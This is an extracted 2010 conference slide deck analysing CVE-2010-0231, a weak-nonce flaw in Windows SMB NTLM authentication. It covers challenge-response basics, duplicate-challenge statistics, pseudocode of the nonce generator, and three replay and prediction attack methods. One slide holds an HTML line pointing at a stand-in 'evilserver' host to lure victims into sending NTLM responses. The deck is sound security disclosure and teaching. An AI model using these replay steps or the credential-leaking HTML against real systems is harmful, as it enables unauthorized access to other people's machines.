Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

Hernan Ochoa
hernan@ampliasecurity.com

Agustin Azubel
aazubel@ampliasecurity.com
Presentation goals:

- Describe the vulnerability in detail
- Explain & demonstrate exploitation
  - Three different exploitation methods
- Clear up misconceptions
- Determine vulnerability scope, severity and impact
- Share Conclusions
Vulnerability Information

- Flaws in Windows’ implementation of NTLM
  - attackers can access SMB service as authorized user
  - leads to read/write access to files, SMB shared resources in general and remote code execution

- Published February 2010
- CVE-2010-0231, BID 38085
- Advisory with Exploit Code:
  - http://www.hexale.org/advisories/OCHOA-2010-0209.txt
- Addressed by MS10-012
Why talk about this vulnerability?

- Major 14-year old vulnerability affecting Windows Authentication Mechanism!

  - Basically, all Windows versions were affected (NT4, 2000, XP, 2003, Vista, 2008, 7)
  - Windows NT 4 released in ~1996
  - Windows NT 3.1 released in ~1993 (~17 years ago)
  - All this time, we assumed it was working correctly.. but it wasn’t...
  - Flew under the radar...
Why talk about this vulnerability?

- Interesting vulnerability, not your common buffer overflow
  
  - Issues in the Pseudo-Random Number Generator (PRNG)
  - Challenge-response protocol implementation issues
  - Replay attacks
  - Attack to predict challenges is interesting
Why talk about this vulnerability?

- There’s a lesson to be learned... again...
  - Don’t assume anything... auth was broken!
  - Crypto is hard
    - to design a good algorithm (e.g.: RC∗)
    - to design a good protocol (e.g.: WEP)
    - to implement an algorithm (e.g.: Blowfish signedness issue)
    - to implement a protocol (e.g.: OpenSSL EVP_VerifyFinal issue)
    - to implement an algorithm or protocol you haven’t designed
    - to fully comprehend the implications of an algorithm or protocol
    - to use the right protocol in the right context
    - Etc., etc., etc., etc...
      ➡ May want to review it periodically..
  - ‘Random’ might not be ‘random’ (PRNG I≠ CSPRNG)
What is SMB NTLM Authentication?

SMB (Server Message Block)
- Microsoft Windows Protocol used for network file sharing, printer sharing, etc.
- Provides communications abstractions: named pipes, mail slots
- Remote Procedure Calls (DCE/RPC over SMB)
  - Distributed COM (DCOM)

NTLM (NT Lan Manager)
- Microsoft Windows challenge-response authentication protocol
  - NTLMv1, NTLMv2, Raw mode, NTLMSSP and more
- Used to authenticate SMB connections
- Slowly being replaced by Kerberos
  - But, NTLM still very widely used... all versions..

SMB

NTLM
  - NTLMv1
  - NTLMv2
  - others..
What is a challenge-response authentication protocol?
Challenge-response authentication protocol

- A client wants to prove its identity to a server
- Both share a secret
  - the secret identifies the client
- Client must prove to the server knowledge of secret
  - but without revealing the secret
Challenge-response authentication protocol

How?
• Server sends Client a challenge
• Client provides response to Challenge
• Response depends on both the secret and the challenge
Challenge-response authentication protocol

- What is the Challenge?
  - Typically, number chosen by server randomly and secretly
  - Number used no more than once (nonce)
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

Simple challenge-response protocol example

- **Client**
  - Initiates authentication
  - Generates and sends challenge \( C \)
  - Calculates and sends Response \( R \), where \( R = f(\text{secret}, \text{challenge}) \)

- **Server**
  - Verifies \( R \)
  - Allows or disallows access

- ‘secret’ is shared by both parties and identifies client

- To help prevent prediction attacks, replay attacks and others,
  - Challenges have to be nonpredictable
  - Challenges have to be unique
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

Challenge-response attack example

1. 
   - **Client**
   - **Server**
   - **Inits authentication**
   - **Returns a challenge = 2**
   - **Sends back Response R, R = 4**
   - **Verifies R, allows or disallows access**

2. 
   - **Attacker**
   - **Server**
   - **Inits authentication**
   - **Returns a challenge = X**
   - ...attacker connects to Server repeatedly, until Server returns Challenge = 2 (duplicate!)
   - **Sends Response R = 4**
   - **Attacker authenticates successfully**
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

Challenge-response attack example

1. **Attacker**
   - Let $X$ be the Challenge the Server will issue
   - Attacker can predict $X$

2. **Attacker** acting as server
   - Inits authentication
   - Sends predicted challenge $X$
   - Sends back Response $R$

3. **Attacker**
   - Inits authentication
   - Sends challenge $X$ as predicted
   - Sends back Response $R$

   **Attacker authenticates as Client on Server**
NTLM challenge-response authentication protocol
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

SMB NTLMv1 challenge-response authentication protocol (simplified)

- **SMB_NEGOTIATE_PROTOCOL_REQUEST**
  - Includes supported dialects & flags

- **SMB_NEGOTIATE_PROTOCOL_RESPONSE**
  - Agrees on dialect to use & flags
  - Includes 8-byte server challenge/nonce (C)

- **SMB_SESSION_SETUP_ANDX_REQUEST**
  - Includes username, domain
  - 24-byte ‘Ansi Password’ (LM), 24-byte ‘Unicode Password’ (NT)
  - \( \text{Ansi Password} = f(\text{LM\_HASH}, \text{challenge}) \)
  - \( \text{Unicode Password} = f(\text{NT\_HASH}, \text{challenge}) \)

- **SMB_SESSION_SETUP_ANDX_RESPONSE**
  - Allows or disallows access
  - Applies \( f() \) with pwd hashes stored on server and compares result with client response

\[
f() = \begin{cases} 
K1, K2, K3 = \text{LM\_HASH} \text{ padded with 5 bytes (all zeroes)} \\
24\text{-byte 'Ansi Password'} = \text{DES}(K1,C) + \text{DES}(K2,C) + \text{DES}(K3,C) \\
K1, K2, K3 = \text{NT\_HASH} \text{ padded with 5 bytes (all zeroes)} \\
24\text{-byte 'Unicode Password'} = \text{DES}(K1,C) + \text{DES}(K2,C) + \text{DES}(K3,C)
\end{cases}
\]
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

**SMB NTLMv1 challenge-response authentication protocol (example)**

**SMB_NEGOTIATE_PROTOCOL_REQUEST**
Dialect: **NT LM 0.12**, Flags2: **0xc001**

**SMB_NEGOTIATE_PROTOCOL_RESPONSE**
Challenge/nonce (aka Encryption Key): **752558B9B5C9DD79**
Primary Domain: **WORKGROUP**
Server: **TEST-WINXPPro**

**SMB_SESSION_SETUP_ANDX_REQUEST**
Account: **test**, Domain: **TEST-WINXPPro**
Ansi Pwd: **a1107a4e32e947906e605ec82cc5bc4b289aba170225d022**
Unicode Pwd: **f35c1f8714f7ef1b82b8d73ef5f73f31be0cd97c66beece2**

**SMB_SESSION_SETUP_ANDX_RESPONSE**
Allows or disallows access

- A Challenge/nonce has one corresponding Response
  - 1 to 1 relationship

**Applies f() with pwd hashes stored on server and compares result with client response**
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

**SMB NTLMv2 challenge-response authentication protocol (simplified)**

**SMB_NEGOTIATE_PROTOCOL_REQUEST**
- includes supported dialects & flags

**SMB_NEGOTIATE_PROTOCOL_RESPONSE**
- Agrees on dialect to use & flags
- includes **8-byte server challenge/nonce (C)**

**SMB_SESSION_SETUP_ANDX_REQUEST**
- includes username, domain
- **24-byte LMv2** = hmac_md5(ntv2hash*, server_nonce + client_challenge) + 8-byte client_challenge
- **16-byte NTv2** = hmac_md5(ntv2hash*, server_nonce + blob***)
- **8-byte TimeStamp**
- **8-byte client_challenge** (yes, again..)

*ntv2hash_server = hmac_md5(nt_hash, unicode(upper(user)) + unicode((upper(domain)))

**blob = (TimeStamp+ client_challenge + domain + data)**

**SMB_SESSION_SETUP_ANDX_RESPONSE**
- Allows or disallows access
- Calculates LMv2 and/or NTv2, compares result with client response
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

**SMB NTLMv2 challenge-response authentication protocol (example)**

**SMB_NEGOTIATE_PROTOCOL_REQUEST**
Dialect: **NT LM 0.12**, Flags2: **0xc001**

**SMB_NEGOTIATE_PROTOCOL_RESPONSE**
Challenge/nonce: **D87558B432C9DF09**

**SMB_SESSION_SETUP_ANDX_REQUEST**
Account: test, Primary Domain: TEST-WINXP
24-byte LMv2 = a75878e54344db30bd3e4c923777de7b + 77ff82efd6f17dad
16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386
Header = 0x00000101
Reserved = 0x00000000
8-byte TimeStamp = 3cea680ede1bcb01
8-byte client_challenge = 77ff82efd6f17dad
unknown = 0x00000000
domain name = TEST-WINXP

**SMB_SESSION_SETUP_ANDX_RESPONSE**
Allows or disallows access

Calculates LMv2 and/or NTv2, compares result with client response
SMB NTLM challenge-response authentication

1st. attempt

```
SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2: 0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce ('EncryptionKey'): 75255B9B5C9DD79
Primary Domain: WORKGROUP
Server: TEST-WINXPPRO
```

n-th attempt

```
SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2: 0xc001

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce ('EncryptionKey'): X
Primary Domain: WORKGROUP
Server: TEST-WINXPPRO
```

- So.. if we repeatedly connect to Server requesting a challenge
- ‘EncryptionKey’ should not be predictable...
- ‘EncryptionKey’ should not be repeated...  But it was!  Frequently!
Plotting challenges occurrence

all these challenges are unique

challenge occurrence index within the collected sample
Plotting challenges occurrence

- Challenges at index $i$ and $j$ are the same!
- All the remaining challenges are unique.

challenge occurrence index

challenge count

1

2

i

j

n
Plotting challenges occurrence

unique challenges (4096 of 4096) [100.00%]

no points with 2 as image means there are no duplicates
Plotting challenges occurrence

- unique challenges (8144 of 8192) [99.00%]
- 2-times-seen challenges (24 of 8192) [0.00%]

This is the same challenge and it was issued two times.
Plotting challenges occurrence

gap in unique challenge - “flat line” -, means the challenge is plotted above and was issued multiple times.
Plotting challenges occurrence

- unique challenges (16279 of 16384) [99.00%]
- 2-times-seen challenges (51 of 16384) [0.00%]
- 3-times-seen challenges (1 of 16384) [0.00%]
Plotting challenges occurrence

- unique challenges (63951 of 65536) [97.00%]
- 2-times-seen challenges (752 of 65536) [2.00%]
- 3-times-seen challenges (23 of 65536) [0.00%]
- 4-times-seen challenges (3 of 65536) [0.00%]
Plotting challenges occurrence

- unique challenges (16279 of 16384) [99.00%]
- 2-times-seen challenges (51 of 16384) [0.00%]
- 3-times-seen challenges (1 of 16384) [0.00%]
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

**Plotting challenges occurrence**

- Challenges at index i and j are equal and their issue distance is $j - i$.
- Challenges at index k and l are equal and their issue distance is $l - k$.
- All these challenges are unique.

![Diagram showing challenges occurrence and their issue distances](image-url)
Plotting challenges occurrence

- unique challenges (16279 of 16384) [99.00%]
- 2-times-seen challenges (51 of 16384) [0.00%]
- 3-times-seen challenges (1 of 16384) [0.00%]
Plotting challenges occurrence

- unique challenges (16279 of 16384) [99.00%]
- 2-times-seen challenges (51 of 16384) [0.00%]
- 3-times-seen challenges (1 of 16384) [0.00%]
Plotting challenges occurrence

- Unique challenges (16279 of 16384) [99.00%]
- 2-times-seen challenges (51 of 16384) [0.00%]
- 3-times-seen challenges (1 of 16384) [0.00%]

Patterns:
- Pattern a
- Pattern b
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

Plotting challenges occurrence

- Unique challenges (16279 of 16384) [99.00%]
- 2-times-seen challenges (51 of 16384) [0.00%]
- 3-times-seen challenges (1 of 16384) [0.00%]

Patterns:
- Pattern a
- Pattern c

BlackHat USA 2010
Plotting challenges occurrence
Plotting challenges occurrence
Exploitation Methods

- Passive replay attacks
- Active collection of duplicate challenges
- Active prediction of challenges
Exploitation Methods

- Passive replay attacks
- Active collection of duplicate challenges
- Active prediction of challenges
Exploitation Methods - Passive replay attacks

1. Attacker eavesdrops NTLM traffic
2. Gathers challenges and responses

NTLMv1 example

<table>
<thead>
<tr>
<th>Nnonce</th>
<th>‘Ansi Pwd’</th>
<th>‘Unicode Pwd’</th>
<th>User</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>F87058B9B5C9AF90</td>
<td>ff1f671e32543790908fbc7d2cffffc4b267acc908a25d998</td>
<td>f35c1f8714f7ef1b82b8d73ef5f73f31be0cd97c66beec42</td>
<td>test</td>
<td>test-winxppro</td>
</tr>
<tr>
<td>752558B9B5C9DD79</td>
<td>a1107a4e32e947906e605ec82cc5bc4b289aba170225d022</td>
<td>0000909f1bbbbf1123489a9af5aaf30000cd97c55aafffc4</td>
<td>test</td>
<td>test-winxppro</td>
</tr>
<tr>
<td>897DB8F4FDC10000</td>
<td>dddd987980094790909000082cdddc4bccc4317987abcdd</td>
<td>aaa12349cfd14dc9888000082cbbbb00ddfdfffd7123abbb</td>
<td>test2</td>
<td>test2-winxppro</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
### Exploitation Methods - Passive replay attacks

2. **SMB_NEGOTIATE_PROTOCOL_REQUEST**
   - Dialect: **NTLM 0.12**, Flags2: **0xc001**

   ![Diagram of SMBNegotiateProtocolRequest and SMBNegotiateProtocolResponse]

   **SMB_NEGOTIATE_PROTOCOL_RESPONSE**
   - Challenge/nonce: **752558B9B5C9DD79**
   - Primary Domain: **WORKGROUP**
   - Server: **TEST-WINXPPRO**

<table>
<thead>
<tr>
<th>Nonce</th>
<th>‘Ansi Pwd’</th>
<th>‘Unicode Pwd’</th>
<th>User</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>752558B9B5C9DD79</td>
<td>a1107a4e32e947906e605ec82cc5bc4b289aba170225d022</td>
<td>0000909f1b6b6f123489a9af5aaf30000cd97c55aaffc4</td>
<td>test</td>
<td>test-winxppro</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

- Attacker performs authentication attempts repeatedly
- Until server generates duplicate challenge (observed in 1)
2. 

**Exploitation Methods - Passive replay attacks**

- **SMB_NEGOTIATE_PROTOCOL_REQUEST**
  - Dialect: NT LM 0.12, Flags2: 0xc001

- **SMB_NEGOTIATE_PROTOCOL_RESPONSE**
  - Challenge/nonce: 752558B9B5C9DD79
  - Primary Domain: WORKGROUP
  - Server: TEST-WINXPPRO

<table>
<thead>
<tr>
<th>Nonce</th>
<th>‘Ansi Pwd’</th>
<th>‘Unicode Pwd’</th>
<th>User</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>752558B9B5C9DD79</td>
<td>a1107a4e32e947906e605ec82cc5bc4b289aba170225d022</td>
<td>0000909f1bbbbf1123489a9af5aaf30000cd97c55afffc4</td>
<td>test</td>
<td>test-winxppro</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>

- **SMB_SESSION_SETUP_ANDX_REQUEST**
  - Account: test, Domain: TEST-WINXPPRO
  - Ansi Pwd: a1107a4e32e947906e605ec82cc5bc4b289aba170225d022
  - Unicode Pwd: f35c1f8714f7ef1b82b8d73ef5f73f31be0cd97c66beec2

- **SMB_SESSION_SETUP_ANDX_RESPONSE**
  - allows access

- **Attacker sends response R (observed in I)**
- **Gains access to Server**
Vulnerable code that generates weak nonces is not reached when using NTLMSSP/extended security.

**SMB_NEGOTIATE_PROTOCOL_REQUEST**
- includes supported dialects & flags

**SMB_NEGOTIATE_PROTOCOL_RESPONSE**
- Agrees on dialect to use & flags
- Server GUID/Blob
- **Does NOT include 8-byte server challenge**

**SMB_SESSION_SETUP_ANDX_REQUEST**
- NTLMSSP_NEGOTIATE (w/flags)

**SMB_SESSION_SETUP_ANDX_RESPONSE**
- NTLMSSP_CHALLENGE
- **8-byte NTLM Challenge**
  - generated by different code

**SMB_SESSION_SETUP_ANDX_REQUEST**
- NTLMSSP_AUTH
  - includes NTLMv1/NTLMv2 response, username, domain, hostname, etc.

**SMB_SESSION_SETUP_ANDX_RESPONSE**
- allows or disallows access
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

**Flags2**

SMB Header
- Server Component: SMB
  - [Response to: 4]
  - [Time from request: 0.000260000 seconds]
  - SMB Command: Negotiate Protocol (0x72)
  - NT Status: STATUS_SUCCESS (0x00000000)
  - Flags: 0x88
  - Flags2: 0xc001

- 1... .... = Unicode Strings: Strings are Unicode
- .1. .... = Error Code Type: Error codes are NT error codes
- ..0. .... = Execute-only Reads: Don’t permit reads if execute-only
- ...0.... = Dfs: Don’t resolve pathnames with Dfs
- .... 0.... = Extended Security Negotiation: Extended security negotiation is not supported
- .... .0.... = Long Names Used: Path names in request are not long file names
- ... .... .0.. = Security Signatures: Security signatures are not supported
- .... .... .0. = Extended Attributes: Extended attributes are not supported
- .... .... ....1 = Long Names Allowed: Long file names are allowed in the response

Process ID High: 0
Signature: 0000000000000000
Reserved: 0000
Tree ID: 0
Process ID: 65279
User ID: 0
Multiplex ID: 0
Nowadays, Windows to Windows uses flags2 = 0xc853
Finder OSX 10.6.4 uses 0xC801
Finder OSX 10.3 uses 0x4801 and 0x4001
smbclient (current versions) use 0xC801
Windows NT4 SP1-SP6 uses 0x0003
Windows 2000 Professional uses 0xC853

This is good for the prediction attack...

But, network traffic of each network needs to be analyzed
  • Clients and Servers have a saying on which ‘mode’ will be used
• Active attack sends `SMB_NEGOTIATE_PROTOCOL_REQUEST` w/flags2 = 0xc001
• When listening, returns `SMB_NEGOTIATE_PROTOCOL_RESPONSE` w/flags2 = 0xc001 and ‘Capabilities’ with extended security disabled

```
Capabilities: 0x0000f3fd
  .0. = Bulk Transfer: Bulk Read and Bulk Write are not supported
  .0. = Compressed Data: Compressed data transfer is not supported
  0. = Extended Security: Extended security exchanges are not supported
```

⇒ NTLMSSP/extended security not used
  • even when Windows sends flags2 = 0xc853
SMB NTLMv2 challenge-response authentication protocol (simplified)

**SMB_NEGOTIATE_PROTOCOL_REQUEST**
includes supported dialects & flags

**SMB_NEGOTIATE_PROTOCOL_RESPONSE**
Agrees on dialect to use & flags
includes 8-byte server challenge/nonce (C)

**SMB_SESSION_SETUP_ANDX_REQUEST**
includes username, domain
24-byte LMv2 = hmac_md5(ntv2hash*, server_nonce + client_challenge) + 8-byte client_challenge
16-byte NTv2 = hmac_md5(ntv2hash*, server_nonce + blob**)
8-byte TimeStamp
8-byte client_challenge (yes, again..)
*ntv2hash_server = hmac_md5( nt_hash, unicode(upper(user)) + unicode((upper(domain)) )
**blob = (TimeStamp+ client_challenge + domain + data)

**SMB_SESSION_SETUP_ANDX_RESPONSE**
Allows or disallows access

Calculates LMv2 and/or NTv2, compares result with client response
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

### SMB NTLMv2 challenge-response authentication protocol (simplified)

**SMB_NEGOTIATE_PROTOCOL_REQUEST**
- includes supported dialects & flags

**SMB_NEGOTIATE_PROTOCOL_RESPONSE**
- Agrees on dialect to use & flags
- includes 8-byte server challenge/nonce (C)

**SMB_SESSION_SETUP_ANDX_REQUEST**
- includes username, domain
  - 24-byte LMv2 = hmac_md5(ntv2hash*, server_nonce + client_challenge) + 8-byte client_challenge
  - 16-byte NTv2 = hmac_md5(ntv2hash*, server_nonce + blob**)
- 8-byte TimeStamp
- 8-byte client_challenge (yes, again..)

*ntv2hash_server = hmac_md5( nt_hash, unicode(upper(user)) + unicode((upper(domain)) )
**blob = (TimeStamp+ client_challenge + domain + data)

**SMB_SESSION_SETUP_ANDX_RESPONSE**
- Allows or disallows access

Calculates LMv2 and/or NTv2, compares result with client response

---

BlackHat USA 2010
Exploitation Methods

- Passive replay attacks
- Active collection of duplicate challenges
- Active prediction of challenges
Exploitation - Active collection of duplicate challenges

1. Attacker

```
SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2: 0xc001
```

```
SMB_NEGOTIATE_PROTOCOL_RESPONSE
Challenge/nonce: 752558B9B5C9DD79
```

- Attacker sends multiple auth attempts and gathers challenges

```
<table>
<thead>
<tr>
<th>Nonce</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
</tr>
<tr>
<td>752558B9B5C9DD79</td>
</tr>
<tr>
<td>F87058B9B5C9AF90</td>
</tr>
<tr>
<td>...</td>
</tr>
</tbody>
</table>
```
Exploitation - Active collection of duplicate challenges

2. Attacker ‘makes’ user connect to him
   - E.g.: email with link to ‘evil’ web site or embedded HTML with multiple `<img src=\\evilserver\a.jpg>`
   - User connects to attacker’s custom SMB server

   **SMB_NEGOTIATE_PROTOCOL_REQUEST**
   - Dialect: NT LM 0.12, Flags2: 0xc853

   - Sends all challenges obtained in 1

   **SMB_SESSION_SETUP_ANDX_REQUEST**
   - Account: test, Primary Domain: TEST-WINXPPRO
   - 24-byte LMv2 = a75878e543344db30bd3e4c923777d7b + 77ff82ef6f17dad
   - 16-byte NTv2 = 6f74dc2a3a9719bbd189b8ac36e1f386
   - Header = 0x00000101
   - Reserved = 0x00000000
   - 8-byte TimeStamp = 3cea680ede1bcb01
   - 8-byte client_challenge = 77ff82ef6f17dad
   - unknown = 0x00000000
   - domain name = TEST-WINXPPRO

   • Sends Response R

   • Attacker makes user/wkst ‘encrypt/hash’ challenges obtained in 1

   **Response**
   - Nonce: 752558B9B5C9DD79
Understanding the Windows SMB NTLM Authentication Weak Nonce Vulnerability

3. **Exploitation - Active collection of duplicate challenges**

<table>
<thead>
<tr>
<th>Nonce</th>
<th>Response</th>
</tr>
</thead>
<tbody>
<tr>
<td>...</td>
<td></td>
</tr>
<tr>
<td>752558B9B5C9DD79</td>
<td>...</td>
</tr>
</tbody>
</table>

**SMB_NEGOTIATE_PROTOCOL_REQUEST**
- Dialect: **NT LM 0.12**, Flags2: **0xc001**

**SMB_NEGOTIATE_PROTOCOL_RESPONSE**
- Challenge/nonce: **752558B9B5C9DD79**

**SMB_SESSION_SETUP_ANDX_REQUEST**
- Account: **test**, Primary Domain: **TEST-WINXPPRO**
- 24-byte LMv2: a75878e54344db30bd3e4c923777de7b + 77ff82ef6f17dad
- 16-byte NTv2: 6f74dc2a3a9719bbd189b8ac36e1f386
- Header = 0x00000101
- Reserved = 0x00000000
- 8-byte TimeStamp = 3cea680ede1bcb01
- 8-byte client_challenge = 77ff82ef6f17dad
- unknown = 0x00000000
- domain name = **TEST-WINXPPRO**

**SMB_SESSION_SETUP_ANDX_RESPONSE**
- allows access

- Attacker waits until duplicate challenge obtained in 1 appears
- Sends Response (obtained in 2)
- Attacker gains access to user/workstation/server as User
Exploitation - Active collection of duplicate challenges

Our tests showed that...

- Duplicate challenges and responses obtained can be reused!
  - on the same machine!
  - on other machines!
  - attack once, exploit many times!
  - exploit trust relationships!

- You only need to repeat step 3 to regain access
Exploitation Methods

- Passive replay attacks
- Active collection of duplicate challenges
- Active prediction of challenges
SMB NTLM Challenge generation overview

Client

SMB_NEGOTIATE_PROTOCOL_REQUEST
Dialect: NT LM 0.12, Flags2: 0xc001

Srv.sys!SrvSmbNegotiate

Encryption Key = GetEncryptionKey()

Server

SMB_NEGOTIATE_PROTOCOL_RESPONSE
Encryption Key: 752558B9B5C9DD79

BlackHat USA 2010
GetEncryptionKey() overview

1. Create seed
2. Use seed
3. Create challenge
4. Return challenge
GLOBAL_DWORD _EncryptionKeyCount = 0

srv.sys!GetEncryptionKey()
{
    LARGE_INTEGER CurrentTime
    DWORD Seed
    DWORD n1, n2, n3

    KeQuerySystemTime(&CurrentTime)
    CurrentTime.LowPart += _EncryptionKeyCount
    _EncryptionKeyCount += 0x100

    CT = CurrentTime.LowPart
    Seed = CT[1], CT[2]-1, CT[2], CT[1]+1

    n1 = ntoskrnl!RtlRandom(&Seed)
    n2 = ntoskrnl!RtlRandom(&Seed)
    n3 = ntoskrnl!RtlRandom(&Seed)

    n1 |= 0x80000000    if (n3 & 1) == 1
    n2 |= 0x80000000    if (n3 & 2) == 2

    challenge = n1, n2

    return challenge
}
GetEncryptionKey() pseudocode

GLOBAL_DWORD _EncryptionKeyCount = 0

srv.sys!GetEncryptionKey()
{
    LARGE_INTEGER CurrentTime
    DWORD Seed
    DWORD n1, n2, n3

    KeQuerySystemTime(&CurrentTime)
    CurrentTime.LowPart += _EncryptionKeyCount
    _EncryptionKeyCount += 0x100

    CT = CurrentTime.LowPart
    Seed = CT[1], CT[2]–1, CT[2], CT[1]+1

    n1 = ntoskrnl!RtlRandom(&Seed)
    n2 = ntoskrnl!RtlRandom(&Seed)
    n3 = ntoskrnl!RtlRandom(&Seed)

    n1 |= 0x80000000    if (n3 & 1) == 1
    n2 |= 0x80000000    if (n3 & 2) == 2

    challenge = n1, n2

    return challenge
}
GetEncryptionKey() pseudocode

GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
    LARGE_INTEGER CurrentTime
    DWORD Seed
    DWORD n1, n2, n3

    KeQuerySystemTime(&CurrentTime)
    CurrentTime.LowPart += _EncryptionKeyCount
    _EncryptionKeyCount += 0x100

    CT = CurrentTime.LowPart
    Seed = CT[1], CT[2]-1, CT[2], CT[1]+1

    n1 = ntoskrnl!RtlRandom(&Seed)
    n2 = ntoskrnl!RtlRandom(&Seed)
    n3 = ntoskrnl!RtlRandom(&Seed)

    n1 |= 0x80000000    if (n3 & 1) == 1
    n2 |= 0x80000000    if (n3 & 2) == 2

    challenge =  n1, n2

    return challenge
}
GetEncryptionKey() pseudocode

GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
    LARGE_INTEGER CurrentTime
    DWORD Seed
    DWORD n1, n2, n3

    KeQuerySystemTime(&CurrentTime)
    CurrentTime.LowPart += _EncryptionKeyCount
    _EncryptionKeyCount += 0x100

    CT = CurrentTime.LowPart
    Seed = CT[1], CT[2]–1, CT[2], CT[1]+1

    n1 = ntoskrnl!RtlRandom(&Seed)
    n2 = ntoskrnl!RtlRandom(&Seed)
    n3 = ntoskrnl!RtlRandom(&Seed)

    n1 |= 0x80000000    if (n3 & 1) == 1
    n2 |= 0x80000000    if (n3 & 2) == 2

    challenge = n1, n2

    return challenge
}
GetEncryptionKey() pseudocode

GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
    LARGE_INTEGER CurrentTime
    DWORD Seed
    DWORD n1, n2, n3

    KeQuerySystemTime(&CurrentTime)
    CurrentTime.LowPart += _EncryptionKeyCount
    _EncryptionKeyCount += 0x100

    CT = CurrentTime.LowPart
    Seed = CT[1], CT[2]–1, CT[2], CT[1]+1

    n1 = ntoskrnl!RtlRandom(&Seed)
    n2 = ntoskrnl!RtlRandom(&Seed)
    n3 = ntoskrnl!RtlRandom(&Seed)

    n1 |= 0x80000000    if (n3 & 1) == 1
    n2 |= 0x80000000    if (n3 & 2) == 2

    challenge =  n1, n2

    return challenge
}
GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
    LARGE_INTEGER CurrentTime
    DWORD Seed
    DWORD n1, n2, n3

    KeQuerySystemTime(&CurrentTime)
    CurrentTime.LowPart += _EncryptionKeyCount
    _EncryptionKeyCount += 0x100

    CT = CurrentTime.LowPart
    Seed = CT[1], CT[2]-1, CT[2], CT[1]+1

    n1 = ntoskrnl!RtlRandom(&Seed)
    n2 = ntoskrnl!RtlRandom(&Seed)
    n3 = ntoskrnl!RtlRandom(&Seed)

    n1 |= 0x80000000    if (n3 & 1) == 1
    n2 |= 0x80000000    if (n3 & 2) == 2

    challenge = n1, n2

    return challenge
}
GetEncryptionKey() pseudocode

GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
    LARGE_INTEGER CurrentTime
    DWORD Seed
    DWORD n1, n2, n3

    KeQuerySystemTime(&CurrentTime)
    CurrentTime.LowPart += _EncryptionKeyCount
    _EncryptionKeyCount += 0x100

    CT = CurrentTime.LowPart
    Seed = CT[1], CT[2]-1, CT[2], CT[1]+1

    n1 = ntoskrnl!RtlRandom(&Seed)
    n2 = ntoskrnl!RtlRandom(&Seed)
    n3 = ntoskrnl!RtlRandom(&Seed)

    n1 |= 0x80000000    if (n3 & 1) == 1
    n2 |= 0x80000000    if (n3 & 2) == 2

    challenge = n1, n2

    return challenge
}
GetEncryptionKey() pseudocode

GLOBAL_DWORD _EncryptionKeyCount

srv.sys!GetEncryptionKey()
{
    LARGE_INTEGER CurrentTime
    DWORD Seed
    DWORD n1, n2, n3

    KeQuerySystemTime(&CurrentTime)
    CurrentTime.LowPart += _EncryptionKeyCount
    _EncryptionKeyCount += 0x100

    CT = CurrentTime.LowPart
    Seed = CT[1], CT[2]-1, CT[2], CT[1]+1

    n1 = ntoskrnl!RtlRandom(&Seed)
    n2 = ntoskrnl!RtlRandom(&Seed)
    n3 = ntoskrnl!RtlRandom(&Seed)

    n1 |= 0x80000000    if (n3 & 1) == 1
    n2 |= 0x80000000    if (n3 & 2) == 2

    challenge =  n1, n2

    return challenge
}
GetEncryptionKey() summary

- Gets **entropy** bits from
  - KeQuerySystemTime()
  - _EncryptionKeyCount
- Constructs a **seed**
  - seed = CT[1], CT[2]-1, CT[2], CT[1]+1
- Gets n1, n2, n3 from RtlRandom()
- Modifies n1 and n2 depending on n3
- Returns a **challenge** concatenating n1 and n2
Where do we want to go?

If we know

★ the current **internal state** of `RtlRandom()`
★ the current **system time** of the `GetEncryptionKey()` call
★ the current value of `_EncryptionKeyCount`

...we can calculate n1, n2, n3...
...and predict the next challenges to be issued...
RtlRandom overview

1. Create numbers based on input seed using two LCGs
2. Fetch value from vector
3. Store value into vector
4. Return fetched value and a context
A pseudorandom number generator (PRNG) generates sequence of numbers.

Desirable properties of a generated sequence of random numbers:

- K1: low probability of identical consecutive elements
- K2: pass certain statistical tests
- K3: should be impossible to recover or predict values from any given sequence
- K4: should be impossible from an inner state to recover any previous values or any previous inner states

A PRNG may not be cryptographically suited.
A Linear Congruential Generator (LCG) is a PRNG

Algorithm

\[ X_{n+1} = (a \times X_n + c) \mod m \]

Generates \textit{predictable} sequences of pseudorandom numbers

\textbf{It is not suitable for cryptographic purposes}

